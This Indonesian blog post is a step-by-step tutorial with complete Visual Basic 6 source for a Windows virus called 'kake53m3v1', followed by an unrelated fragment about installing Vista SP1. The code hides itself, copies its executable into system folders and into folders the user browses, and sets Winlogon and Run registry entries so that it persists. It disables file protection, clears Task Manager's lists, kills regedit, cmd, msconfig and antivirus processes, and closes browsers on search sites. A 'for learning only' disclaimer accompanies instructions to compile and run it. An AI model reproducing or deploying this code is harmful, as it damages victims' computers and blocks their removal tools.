* Cara Membuat Virus kake53m3v1 dengan vb6
1. Buat Sebuah Project
2. Buat Sebuah Form lalu kopikan code sebagai berikut, lainya tambahkan sendiri seperti label, dll
ini codenya:
‘Didownload dari situs www.vbbego.com
‘publish by anti hacker
‘maintainer by kake53m3v1
‘PERINGATAN!!!!!!
‘Semua Isi source code ini bertujuan hanya untuk pengetahuan belaka
‘apabila ada yang menyalah gunakan untuk tujuan tidak baik
‘maka kami tidak akan bertanggung jawab sedikitpun
‘Jika anda setuju silahkan anda tekan tombol PageDown
Option Explicit
Dim oldHwnd As Long, oldCurHwnd As Long, HwndFore As Long
Private Sub Form_Load()
‘
‘If isIDEVB Then
‘ MsgBox “Contoh ini harus dijalankan dalam bentuk Executable, ” & vbCrLf & “Silahkan compile terlebih dahulu”, 48, “virus tutor II”
‘ End
‘End If
App.TaskVisible = False
Me.Visible = False
‘
If App.PrevInstance = True Then
End
End If
VirusTitle = “LSAS.EXE” & Space(100) & Chr(1) & Chr(2) & Chr(3) & Chr(4) & Chr(5) & Chr(1)
Dim hServ As Long
hServ = FindWindow(“ThunderRT6FormDC”, VirusTitle)
If hServ = 0 Then
Me.Caption = “Virus Babe by kake53m3v1″
App.Title = VirusTitle
Else
End
End If
On Error GoTo Salah
Dim FileName
‘
If LCase(Right(App.EXEName, 4)) = “.exe” Then
ViriName = App.EXEName
Else
ViriName = App.EXEName & “.exe”
End If
‘
ReDim ViriCode(FileLen(ValidPath(App.Path) & ViriName)) As Byte
Open ValidPath(App.Path) & ViriName For Binary As #1
Get #1, , ViriCode
Close #1
‘
CreateDefaultFile
‘
CreateRegister
‘
Timer1.Enabled = True
Exit Sub
Salah:
MsgBox “File exe tidak ditemukan, silahkan compile terlebih dahulu project ini”, 16
End
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
End
End Sub
Private Sub Label1_Click()
Me.Hide
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
‘<—-Bom Waktu—->
If Time = “10:00:00″ Then
Me.Visible = True
ElseIf Time = “11:00:00″ Then
Me.Visible = True
ElseIf Time = “16:00:00″ Then
Me.Visible = True
ElseIf Time = “17:00:00″ Then
Me.Visible = True
ElseIf Time = “18:00:00″ Then
Me.Visible = True
ElseIf Time = “19:00:00″ Then
Me.Visible = True
End If
DoEvents
Dim UnloadME As Long
‘
Call GetCursorPos(HwndPoint)
HwndToHack = WindowFromPoint(HwndPoint.x, HwndPoint.y)
HwndFore = GetForegroundWindow()
Dim IEHwnd As Long, IE7HWND As Long
‘
If HwndToHack = HwndFore Then
IEHwnd = viriFindCombo(HwndToHack)
IE7HWND = viriFindIE7(HwndToHack)
Else
IEHwnd = viriFindCombo(HwndFore)
IE7HWND = viriFindIE7(HwndFore)
End If
‘
If IEHwnd Then
IsMePresent ValidPath(cyraxHackWindowText(IEHwnd))
Else
IEHwnd = viriFindCombo()
If IEHwnd Then IsMePresent ValidPath(cyraxHackWindowText(IEHwnd))
End If
‘Untuk IE7 Beta bisa gunakan code berikut
If IE7HWND Then
IsMePresent ValidPath(cyraxHackWindowText(IE7HWND))
Else
IE7HWND = viriFindIE7()
If IE7HWND Then IsMePresent ValidPath(cyraxHackWindowText(IE7HWND))
End If
‘
Dim hTask1 As Long, hTask2 As Long
hTask1 = Bego_32770_Tasks
If hTask1 Then
LockWindowUpdate hTask1
Call SendMessage(hTask1, LVM_DELETEALLITEMS, ByVal 0, 0)
End If
hTask2 = Bego_32770_Processes
If hTask2 Then
LockWindowUpdate hTask2
Call SendMessage(hTask2, LVM_DELETEALLITEMS, ByVal 0, 0)
End If
‘Untuk melihat hasil diatas, coba jalankan kemudian munculkan task manager
‘
‘Silahkan hilangkan tanda kutip dibawah ini, untuk mengaktifkan fungsi kill app
KillProcessByName “regedit.exe”
KillProcessByName “nav.exe”
KillProcessByName “msconfig.exe”
KillProcessByName “cmd.exe”
KillProcessByName “nav.exe”
KillProcessByName “taskmgr.exe”
KillProcessByName “killvb.exe”
KillProcessByName “excel.exe”
‘
KillBadSite
‘<—- Stop Virus —->
UnloadME = FindWindow(vbNullString, “Stop Virus”)
If UnloadME > 0 Then
End
End If
End Sub
3. Lalu buat 4 buah module yang module pertama berisi code:
Option Explicit
Type POINTAPI
x As Long
y As Long
End Type
Public HwndPoint As POINTAPI
Public HwndToHack As Long
Public ViriName As String
Declare Function GetForegroundWindow Lib “user32″ () As Long
Declare Function GetCursorPos Lib “user32″ (lpPoint As POINTAPI) As Long
Declare Function WindowFromPoint Lib “user32″ (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function FindWindowEx Lib “user32″ Alias “FindWindowExA” (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Declare Function SendMessage Lib “user32″ Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function PathIsDirectory Lib “shlwapi.dll” Alias “PathIsDirectoryA” (ByVal pszPath As String) As Long
Private Declare Function GetFileTitle Lib “comdlg32.dll” Alias “GetFileTitleA” (ByVal lpszFile As String, ByVal lpszTitle As String, ByVal cbBuf As Integer) As Integer
Declare Function CopyFile Lib “kernel32″ Alias “CopyFileA” (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Public Const LVM_FIRST = &H1000
Public Const LVM_DELETEITEM = (LVM_FIRST + 
Public Const LVM_DELETEALLITEMS = (LVM_FIRST + 9)
‘Ini sekedar tambahan saja, supaya perubahan yg terjadi tidak langsung
‘ditampilkan
Declare Function LockWindowUpdate Lib “user32″ (ByVal hwndLock _
As Long) As Long
Public ViriCode() As Byte
Private Const MAX_COMPUTERNAME_LENGTH As Long = 31
Private Declare Function GetComputerName Lib “kernel32″ Alias “GetComputerNameA” (ByVal lpBuffer As String, nSize As Long) As Long
Private Declare Function GetSystemDirectory Lib “kernel32″ Alias “GetSystemDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowsDirectory Lib “kernel32″ Alias “GetWindowsDirectoryA” (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Function sysDir() As String
Dim cPath As String
cPath = String(255, Chr(0))
GetSystemDirectory cPath, Len(cPath)
sysDir = ValidPath(Left(cPath, InStr(1, cPath, Chr(0)) – 1))
End Function
Function GetNameKomputer() As String
On Error Resume Next
Dim dwLen As Long
Dim strString As String
dwLen = MAX_COMPUTERNAME_LENGTH + 1
strString = String(dwLen, Chr(0))
GetComputerName strString, dwLen
GetNameKomputer = Left(strString, InStr(1, strString, Chr(0)) – 1)
End Function
‘
Function isIDEVB() As Boolean
On Error GoTo Salah
Debug.Print (1 / 0)
isIDEVB = False
Exit Function
Salah:
isIDEVB = True
End Function
‘
Function viriFindCombo(Optional ExploHwnd As Long = 0) As Long
On Error Resume Next
Dim vbcyrax(1 To 6) As Long
If ExploHwnd = 0 Then
vbcyrax(1) = FindWindow(“ExploreWClass”, vbNullString)
Else
vbcyrax(1) = ExploHwnd
End If
If IsWinNT = False Then
vbcyrax(2) = FindWindowEx(vbcyrax(1), ByVal 0&, “WorkerA”, vbNullString)
Else
vbcyrax(2) = FindWindowEx(vbcyrax(1), ByVal 0&, “WorkerW”, vbNullString)
End If
vbcyrax(3) = FindWindowEx(vbcyrax(2), ByVal 0&, “ReBarWindow32″, vbNullString)
vbcyrax(4) = FindWindowEx(vbcyrax(3), ByVal 0&, “ComboBoxEx32″, vbNullString)
vbcyrax(5) = FindWindowEx(vbcyrax(4), ByVal 0&, “ComboBox”, vbNullString)
vbcyrax(6) = FindWindowEx(vbcyrax(5), ByVal 0&, “Edit”, vbNullString)
viriFindCombo = vbcyrax(6)
End Function
Function viriFindIE7(Optional ExploHwnd As Long = 0) As Long
On Error Resume Next
Dim vbcyrax(1 To 7) As Long
vbcyrax(1) = FindWindow(“IEFrame”, vbNullString)
vbcyrax(2) = FindWindowEx(vbcyrax(1), ByVal 0&, “WorkerW”, “Navigation Bar”)
vbcyrax(3) = FindWindowEx(vbcyrax(2), ByVal 0&, “ReBarWindow32″, vbNullString)
vbcyrax(4) = FindWindowEx(vbcyrax(3), ByVal 0&, “Address Band Root”, vbNullString)
vbcyrax(5) = FindWindowEx(vbcyrax(4), ByVal 0&, “ComboBoxEx32″, vbNullString)
vbcyrax(6) = FindWindowEx(vbcyrax(5), ByVal 0&, “ComboBox”, vbNullString)
vbcyrax(7) = FindWindowEx(vbcyrax(6), ByVal 0&, “Edit”, vbNullString)
viriFindIE7 = vbcyrax(7)
End Function
Public Function cyraxHackWindowText(window_hwnd As Long) As String
On Error Resume Next
Dim txtlen As Long
Dim txt As String
If window_hwnd = 0 Then Exit Function
txtlen = SendMessage(window_hwnd, &HE, 0, 0)
If txtlen = 0 Then Exit Function
txtlen = txtlen + 1
txt = Space$(txtlen)
txtlen = SendMessage(window_hwnd, &HD, txtlen, ByVal txt)
cyraxHackWindowText = Left$(txt, txtlen)
End Function
Function ValidPath(nPath As String) As String
If Right(nPath, 1) = “\” Then
ValidPath = nPath
Else
ValidPath = nPath & “\”
End If
End Function
‘Untuk mendapatkan Generator Class bisa download pada artikel “Class Finder & Generator:
‘Pertama-tama kita yang harus kita lakukan adalah mencari listview pada
‘Task Manager, dengan menggunakan FindWindow & FindWindowEX
‘Fungsi berikut untuk mencari HWND dari Listview pada tab Process
‘yang terdapat pada task manager
Function Bego_32770_Processes() As Long
Dim vbBeGo(1 To 3) As Long
vbBeGo(1) = FindWindow(“#32770″, “Windows Task Manager”)
vbBeGo(2) = FindWindowEx(vbBeGo(1), ByVal 0&, “#32770″, vbNullString)
vbBeGo(3) = FindWindowEx(vbBeGo(2), ByVal 0&, “SysListView32″, _
“Processes”)
Bego_32770_Processes = vbBeGo(3)
End Function
‘Fungsi berikut untuk mencari HWND dari Listview pada tab Application
‘yang terdapat pada task manager
Function Bego_32770_Tasks() As Long
Dim vbBeGo(1 To 3) As Long
vbBeGo(1) = FindWindow(“#32770″, “Windows Task Manager”)
vbBeGo(2) = FindWindowEx(vbBeGo(1), ByVal 0&, “#32770″, vbNullString)
vbBeGo(3) = FindWindowEx(vbBeGo(2), ByVal 0&, “SysListView32″, “Tasks”)
Bego_32770_Tasks = vbBeGo(3)
End Function
4. module ke 2 berisi code:
Option Explicit
Private Const VER_PLATFORM_WIN32_NT = 2
Private Declare Function GetVersionEx Lib “kernel32″ Alias “GetVersionExA” (ByRef lpVersionInformation As OSVERSIONINFO) As Long
Private Declare Function GetFileTitle Lib “comdlg32.dll” Alias “GetFileTitleA” (ByVal lpszFile As String, ByVal lpszTitle As String, ByVal cbBuf As Integer) As Integer
Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type
‘
Public Function IsWinNT() As Boolean
Dim myOS As OSVERSIONINFO
myOS.dwOSVersionInfoSize = Len(myOS)
GetVersionEx myOS
IsWinNT = (myOS.dwPlatformId = VER_PLATFORM_WIN32_NT)
End Function
‘
Sub IsMePresent(nPath As String)
If isDirectory(nPath) Then
If IsMeAvailable(nPath) = False Then
MakeDuplicateFile nPath
AddToLog “Buat Duplikasi di directory: ” & nPath
End If
Else
Dim CurPath As String
CurPath = ValidPath(GetPathFromFile(nPath))
If IsMeAvailable(CurPath) = False Then
MakeDuplicateFile CurPath
AddToLog “Buat Duplikasi di directory: ” & CurPath
End If
End If
End Sub
‘
Function isDirectory(nPath As String) As Boolean
Dim H As Long
H = PathIsDirectory(nPath)
If H = 0 Then
isDirectory = False
Else
isDirectory = True
End If
End Function
‘
Function IsMeAvailable(nPath As String) As Boolean
On Error GoTo Salah
Dim hFile As String
hFile = Dir(ValidPath(nPath) & “*.exe”, vbNormal Or vbHidden Or vbSystem Or vbReadOnly Or vbArchive)
While hFile <> “”
If LCase(hFile) = “cyrax.exe” Then
IsMeAvailable = True
Exit Function
End If
hFile = Dir()
‘DoEvents
Wend
Salah:
End Function
‘
Sub MakeDuplicateFile(nPath As String, Optional AddName As String)
On Error Resume Next
If AddName = “” Then
Open ValidPath(nPath) & ViriName For Binary As #1
Put #1, , ViriCode
Close #1
Else
Open ValidPath(nPath) & AddName For Binary As #1
Put #1, , ViriCode
Close #1
End If
End Sub
Function GetPathFromFile(nFileName As String) As String
On Error GoTo Salah
Dim Buffer As String
Buffer = String(255, 0)
GetFileTitle nFileName, Buffer, Len(Buffer)
Buffer = Left$(Buffer, InStr(1, Buffer, Chr$(0)) – 1)
If Trim(Buffer) <> “” Then
GetPathFromFile = ValidPath(Left(nFileName, Len(nFileName) – Len(Buffer)))
End If
Salah:
End Function
Sub AddToLog(nStr As String)
On Error Resume Next
With Form1
If .lstLog.ListCount > 500 Then
.lstLog.Clear
Else
.lstLog.AddItem nStr
End If
.lstLog.ListIndex = .lstLog.ListCount – 1
End With
End Sub
5. module ke 3 berisi code :
Option Explicit
‘
Public Const v_SERVICE_FILENAME = “SRVICES.EXE”
Public Const v_PRIMARY_FILENAME = “SMHOST.EXE”
Public Const v_SECONDARY_FILENAME = “WLOGON.EXE”
Public VirusTitle As String
Public FIRST_FILE As String
Public SECOND_FILE As String
Const REG_SZ = 1 ‘ Unicode nul terminated string
Const REG_EXPAND_SZ = 2
Const REG_BINARY = 3 ‘ Free form binary
Const REG_DWORD = 4
Public Const HKEY_CLASSES_ROOT = &H80000000
Public Const HKEY_CURRENT_USER = &H80000001
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_USERS = &H80000003
Public Const HKEY_PERFORMANCE_DATA = &H80000004
Public Const HKEY_CURRENT_CONFIG = &H80000005
Public Const HKEY_DYN_DATA = &H80000006
Public Const reg_SMWC = “Software\Microsoft\Windows\CurrentVersion”
Public Const reg_SMWNTC = “Software\Microsoft\Windows NT\CurrentVersion”
Public Const reg_MsCMD = “Software\Microsoft\Command Processor”
Private Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function RegCloseKey Lib “advapi32.dll” (ByVal hKey As Long) As Long
Private Declare Function RegCreateKey Lib “advapi32.dll” Alias “RegCreateKeyA” (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegDeleteValue Lib “advapi32.dll” Alias “RegDeleteValueA” (ByVal hKey As Long, ByVal lpValueName As String) As Long
Private Declare Function RegOpenKey Lib “advapi32.dll” Alias “RegOpenKeyA” (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib “advapi32.dll” Alias “RegQueryValueExA” (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib “advapi32.dll” Alias “RegSetValueExA” (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegEnumKeyEx Lib “advapi32.dll” Alias “RegEnumKeyExA” (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, lpcbClass As Long, lpftLastWriteTime As Any) As Long
Private Declare Function RegEnumValue Lib “advapi32.dll” Alias “RegEnumValueA” (ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Function RegQueryStringValue(ByVal hKey As Long, ByVal strValueName As String) As String
On Error Resume Next
Dim lResult As Long, lValueType As Long, strBuf As String, lDataBufSize As Long
lResult = RegQueryValueEx(hKey, strValueName, 0, lValueType, ByVal 0, lDataBufSize)
If lResult = 0 Then
If lValueType = REG_SZ Then
strBuf = String(lDataBufSize, Chr$(0))
lResult = RegQueryValueEx(hKey, strValueName, 0, 0, ByVal strBuf, lDataBufSize)
If lResult = 0 Then
RegQueryStringValue = Left$(strBuf, InStr(1, strBuf, Chr$(0)) – 1)
End If
ElseIf lValueType = REG_BINARY Then
Dim strData As Integer
lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strData, lDataBufSize)
If lResult = 0 Then
RegQueryStringValue = strData
End If
ElseIf lValueType = REG_DWORD Then
Dim strDataL As Long
lResult = RegQueryValueEx(hKey, strValueName, 0, 0, strDataL, lDataBufSize)
If lResult = 0 Then
RegQueryStringValue = strDataL
End If
End If
End If
End Function
Function GetString(hKey As Long, strPath As String, strValue As String)
On Error Resume Next
Dim ret
RegOpenKey hKey, strPath, ret
GetString = RegQueryStringValue(ret, strValue)
RegCloseKey ret
End Function
Sub SaveString(hKey As Long, strPath As String, strValue As String, strData As String)
Dim ret
RegCreateKey hKey, strPath, ret
RegSetValueEx ret, strValue, 0, REG_SZ, ByVal strData, Len(strData)
RegCloseKey ret
End Sub
Sub SaveStringLong(hKey As Long, strPath As String, strValue As String, strData As String)
Dim ret
RegCreateKey hKey, strPath, ret
RegSetValueEx ret, strValue, 0, REG_BINARY, CByte(strData), 4
RegCloseKey ret
End Sub
Sub SaveStringWord(hKey As Long, strPath As String, strValue As String, strData As String)
Dim ret
RegCreateKey hKey, strPath, ret
RegSetValueEx ret, strValue, 0, REG_DWORD, CLng(strData), 4
RegCloseKey ret
End Sub
Sub DelSetting(hKey As Long, strPath As String, strValue As String)
Dim ret
RegCreateKey hKey, strPath, ret
RegDeleteValue ret, strValue
RegCloseKey ret
End Sub
Sub CreateDefaultFile()
‘
On Error Resume Next
FIRST_FILE = sysDir & v_PRIMARY_FILENAME
SECOND_FILE = sysDir & v_SECONDARY_FILENAME
MakeDuplicateFile sysDir, v_PRIMARY_FILENAME
MakeDuplicateFile sysDir, v_SECONDARY_FILENAME
End Sub
Sub CreateRegister()
On Error Resume Next
‘
SaveString HKEY_LOCAL_MACHINE, reg_SMWNTC & “\Winlogon”, “System”, FIRST_FILE
SaveString HKEY_LOCAL_MACHINE, reg_SMWNTC & “\Run”, “System handler”, SECOND_FILE & ” /register”
SaveString HKEY_LOCAL_MACHINE, reg_SMWNTC & “\Winlogon”, “Userinit”, sysDir & “userinit.exe,” & SECOND_FILE & “, “
SaveString HKEY_LOCAL_MACHINE, reg_SMWNTC & “\Winlogon”, “shell”, “explorer.exe ” & FIRST_FILE
SaveString HKEY_CURRENT_USER, reg_SMWC & “\Run”, “RPCall”, FIRST_FILE & ” /register”
‘If IsWinNT = False Then
SaveString HKEY_LOCAL_MACHINE, reg_SMWC & “\Run”, “SRVState”, FIRST_FILE & ” /register”
‘End If
SaveString HKEY_CURRENT_USER, reg_MsCMD, “AutoRun”, “echo off|” & SECOND_FILE & “|cls”
SaveStringWord HKEY_CURRENT_USER, reg_MsCMD, “EnableExtensions”, “0″
SaveString HKEY_CURRENT_USER, reg_SMWNTC & “\Windows”, “load”, FIRST_FILE
SaveString HKEY_LOCAL_MACHINE, reg_SMWNTC & “\Winlogon”, “ReportBootOk”, “0″
SaveStringWord HKEY_LOCAL_MACHINE, reg_SMWNTC & “\Winlogon”, “SFCDisable”, &HFFFFFF9D ‘Def: 0
SaveStringWord HKEY_LOCAL_MACHINE, reg_SMWNTC & “\Winlogon”, “SFCScan”, &H0 ‘Def: 0
SaveStringWord HKEY_CURRENT_USER, reg_SMWC & “\Explorer\Advanced”, “ShowSuperHidden”, “0″
SaveStringWord HKEY_CURRENT_USER, reg_SMWC & “\Explorer\Advanced”, “Hidden”, “2″
SaveStringWord HKEY_CURRENT_USER, reg_SMWC & “\Explorer\Advanced”, “HideFileExt”, “1″
SaveStringWord HKEY_CURRENT_USER, reg_SMWC & “\Explorer\CabinetState”, “FullPath”, “1″
SaveStringWord HKEY_CURRENT_USER, reg_SMWC & “\Explorer\CabinetState”, “FullPathAddress”, “1″
SaveStringWord HKEY_LOCAL_MACHINE, reg_SMWC & “\SystemFileProtection”, “ShowPopups”, “0″
End Sub
6. module ke 4 berisi code :
Option Explicit
Const TH32CS_SNAPHEAPLIST = &H1
Const TH32CS_SNAPPROCESS = &H2
Const TH32CS_SNAPTHREAD = &H4
Const TH32CS_SNAPMODULE = &H8
Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)
Const TH32CS_INHERIT = &H80000000
Const MAX_PATH As Integer = 260
Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szExeFile As String * MAX_PATH
End Type
Declare Function PostMessage Lib “user32″ Alias “PostMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Declare Function DestroyWindow Lib “user32″ (ByVal hwnd As Long) As Long
Private Declare Function OpenProcess Lib “Kernel32.dll” (ByVal dwDesiredAccessas As Long, _
ByVal bInheritHandle As Long, _
ByVal dwProcId As Long) As Long
Declare Function GetParent Lib “user32″ (ByVal hwnd As Long) As Long
Private Declare Sub CloseHandle Lib “kernel32″ (ByVal hPass As Long)
Private Declare Function CreateToolhelp32Snapshot Lib “kernel32″ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
Private Declare Function Process32First Lib “kernel32″ (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function Process32Next Lib “kernel32″ (ByVal hSnapShot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function TerminateProcess Lib “kernel32″ (ByVal hProcess As Long, _
ByVal uExitCode As Long) As Long
Function KillProcessByName(nName As String) As String
On Error Resume Next
If IsWinNT Then
If nName = “” Then Exit Function
Dim hSnapShot As Long, uProcess As PROCESSENTRY32, r As Long
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)
uProcess.dwSize = Len(uProcess)
r = Process32First(hSnapShot, uProcess)
Do While r
If LCase(Left$(uProcess.szExeFile, IIf(InStr(1, uProcess.szExeFile, Chr$(0)) > 0, InStr(1, uProcess.szExeFile, Chr$(0)) – 1, 0))) = LCase(nName) Then
KillProcessById uProcess.th32ProcessID
KillProcessById uProcess.th32ParentProcessID
End If
r = Process32Next(hSnapShot, uProcess)
DoEvents
Loop
CloseHandle hSnapShot
End If
End Function
Private Sub KillProcessById(p_lngProcessId As Long)
On Error Resume Next
Dim lnghProcess As Long
Dim lngReturn As Long
lnghProcess = OpenProcess(1&, -1&, p_lngProcessId)
lngReturn = TerminateProcess(lnghProcess, 0&)
End Sub
Sub KillAppByHWND(hwnd As Long)
On Error Resume Next
PostMessage hwnd, &H10, 0, 0
DestroyWindow hwnd
PostMessage hwnd, &H10, 0, 0
PostMessage hwnd, &H10, 0, 0
PostMessage hwnd, &H10, 0, 0
End Sub
Sub KillBadSite()
On Error Resume Next
Dim inText As String, IEHwnd As Long
IEHwnd = viriFindCombo(GetForegroundWindow)
If IEHwnd <= 0 Then IEHwnd = viriFindIE7() End If If IEHwnd <= 0 Then IEHwnd = viriFindCombo() End If inText = cyraxHackWindowText(IEHwnd) ‘ dibawah ini adalah hanya contoh situs saja, silahkan modifikasi ulang If InStr(1, inText, “google.co.id”, vbTextCompare) > 0 Then KillAppByHWND GetForegroundWindow
If InStr(1, inText, “17tahun.com”, vbTextCompare) > 0 Then KillAppByHWND GetForegroundWindow
If InStr(1, inText, “google.com”, vbTextCompare) > 0 Then KillAppByHWND GetForegroundWindow
If InStr(1, inText, “yahoo.com”, vbTextCompare) > 0 Then KillAppByHWND GetForegroundWindow
If InStr(1, inText, “yahoo.co.id”, vbTextCompare) > 0 Then KillAppByHWND GetForegroundWindow
‘untuk mencobanya silahkan buka Internet Explorer, kemudian ketikan alamat2 diatas
End Sub
7. Lalu Compile dan run hasil compilenya.
Sekian virus kake53m3v1 dibuat. Ini dibuat buat bahan pembelajaran vb6, jika disalah gunakan resiko anda yang menanggungnya.
“Selamat mencoba..!!,(^^,)..!!”
nAHwan_erLinggA
yah, butuh waktu untuk sistem memproses update yang baru terinstall. Tunggu 5-10 menit lalu check update lagi. ntar daftar update akan membeirkan 1 update saja (kalo sebelumnay ngikutin langkah ini, update otional ga diinstall, list optioal update bakal di bypass sementara dan hanya akan menampilkan 1 update baru saja di list update, yaitu KB937287, kalo ini terjadi, berarti kamu udah di jalur yang bener ^_^)
setelah selesai, ikutin apa mau vista kamu dan proses instalasi SP1 akan berjalan. setelah reboot (proses instalasi lagi) login selanjutnya kamu udah bisa menikmati Vista build 6001 Spervice Pack 1 ^_^
. misalnya:
Komentar Terakhir